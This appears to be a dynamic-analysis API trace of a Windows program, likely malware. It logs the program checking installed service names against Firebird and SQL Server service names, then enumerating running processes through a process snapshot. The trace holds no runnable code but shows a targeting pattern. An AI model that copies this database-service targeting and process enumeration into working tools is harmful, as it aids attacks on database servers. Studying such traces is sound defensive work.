	[0168.988] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0168.988] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0168.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0168.989] lstrlenW (lpString="iphlpsvc") returned 8
	[0168.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0168.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0168.989] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0168.989] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0168.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0168.989] lstrlenW (lpString="KeyIso") returned 6
	[0168.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0168.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0168.989] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0168.989] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0168.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0168.989] lstrlenW (lpString="LanmanServer") returned 12
	[0168.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0168.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0168.989] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0168.989] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0168.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0168.989] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0168.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0168.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0168.989] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0168.989] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0168.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0168.989] lstrlenW (lpString="lfsvc") returned 5
	[0168.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0168.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0168.989] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0168.989] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0168.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0168.989] lstrlenW (lpString="lmhosts") returned 7
	[0168.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0168.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0168.990] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0168.990] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0168.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0168.990] lstrlenW (lpString="LSM") returned 3
	[0168.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0168.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0168.990] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0168.990] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0168.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0168.990] lstrlenW (lpString="MpsSvc") returned 6
	[0168.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0168.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0168.990] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0168.990] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0168.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0168.990] lstrlenW (lpString="NcbService") returned 10
	[0168.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0168.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0168.990] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0168.990] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0168.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0168.990] lstrlenW (lpString="netprofm") returned 8
	[0168.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0168.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0168.990] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0168.990] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0168.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0168.990] lstrlenW (lpString="NgcSvc") returned 6
	[0168.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0168.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0168.990] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0168.990] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0168.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0168.991] lstrlenW (lpString="NlaSvc") returned 6
	[0168.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0168.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0168.991] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0168.991] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0168.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0168.991] lstrlenW (lpString="nsi") returned 3
	[0168.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0168.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0168.991] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0168.991] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0168.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0168.991] lstrlenW (lpString="PcaSvc") returned 6
	[0168.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0168.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0168.991] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0168.991] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0168.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0168.991] lstrlenW (lpString="PlugPlay") returned 8
	[0168.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0168.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0168.991] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0168.991] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0168.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0168.991] lstrlenW (lpString="Power") returned 5
	[0168.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0168.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0168.991] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0168.991] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0168.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0168.991] lstrlenW (lpString="ProfSvc") returned 7
	[0168.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0168.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0168.992] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0168.992] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0168.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0168.992] lstrlenW (lpString="RpcEptMapper") returned 12
	[0168.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0168.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0168.992] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0168.992] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0168.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0168.992] lstrlenW (lpString="RpcSs") returned 5
	[0168.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0168.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0168.992] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0168.992] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0168.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0168.992] lstrlenW (lpString="SamSs") returned 5
	[0168.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0168.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0168.992] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0168.992] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0168.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0168.992] lstrlenW (lpString="Schedule") returned 8
	[0168.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0168.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0168.992] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0168.992] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0168.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0168.992] lstrlenW (lpString="SecurityHealthService") returned 21
	[0168.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0168.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0168.992] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0168.993] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0168.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0168.993] lstrlenW (lpString="SENS") returned 4
	[0168.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0168.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0168.993] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0168.993] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0168.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0168.993] lstrlenW (lpString="ShellHWDetection") returned 16
	[0168.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0168.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0168.993] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0168.993] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0168.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0168.993] lstrlenW (lpString="Spooler") returned 7
	[0168.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0168.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0168.993] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0168.993] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0168.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0168.993] lstrlenW (lpString="StateRepository") returned 15
	[0168.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0168.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0168.993] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0168.993] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0168.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0168.993] lstrlenW (lpString="SysMain") returned 7
	[0168.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0168.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0168.993] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0168.993] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0168.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0168.993] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0168.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0168.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0168.994] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0168.994] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0168.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0168.994] lstrlenW (lpString="Themes") returned 6
	[0168.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0168.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0168.994] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0168.994] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0168.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0168.994] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0168.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0168.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0168.994] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0168.994] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0168.994] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0168.994] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x504
	[0169.170] Process32FirstW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0169.171] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0169.171] lstrlenW (lpString="System") returned 6
	[0169.171] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0169.172] lstrlenW (lpString="smss.exe") returned 8
	[0169.172] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0169.172] lstrlenW (lpString="csrss.exe") returned 9
	[0169.172] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0169.173] lstrlenW (lpString="wininit.exe") returned 11
	[0169.173] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0169.173] lstrlenW (lpString="csrss.exe") returned 9
	[0169.173] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0169.173] lstrlenW (lpString="winlogon.exe") returned 12
	[0169.174] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0169.174] lstrlenW (lpString="services.exe") returned 12
	[0169.174] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0169.174] lstrlenW (lpString="lsass.exe") returned 9
	[0169.174] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0169.175] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0169.175] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0169.175] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0169.175] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.176] lstrlenW (lpString="svchost.exe") returned 11
	[0169.176] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.176] lstrlenW (lpString="svchost.exe") returned 11
	[0169.176] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0169.177] lstrlenW (lpString="dwm.exe") returned 7
	[0169.177] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.177] lstrlenW (lpString="svchost.exe") returned 11
	[0169.177] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.177] lstrlenW (lpString="svchost.exe") returned 11
	[0169.177] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.178] lstrlenW (lpString="svchost.exe") returned 11
	[0169.178] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.178] lstrlenW (lpString="svchost.exe") returned 11
	[0169.178] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.179] lstrlenW (lpString="svchost.exe") returned 11
	[0169.179] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.179] lstrlenW (lpString="svchost.exe") returned 11
	[0169.179] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.180] lstrlenW (lpString="svchost.exe") returned 11
	[0169.180] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.180] lstrlenW (lpString="svchost.exe") returned 11
	[0169.180] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.180] lstrlenW (lpString="svchost.exe") returned 11
	[0169.180] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.181] lstrlenW (lpString="svchost.exe") returned 11
	[0169.181] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0169.181] lstrlenW (lpString="spoolsv.exe") returned 11
	[0169.181] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0169.182] lstrlenW (lpString="svchost.exe") returned 11
	[0169.182] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0169.182] lstrlenW (lpString="audiodg.exe") returned 11
	[0169.182] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0169.183] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0169.183] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0169.183] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0169.183] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0169.184] lstrlenW (lpString="Memory Compression") returned 18
	[0169.184] Process32NextW (in: hSnapshot=0x504, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0169.184] lstrlenW (lpString="sihost.exe") returned 10
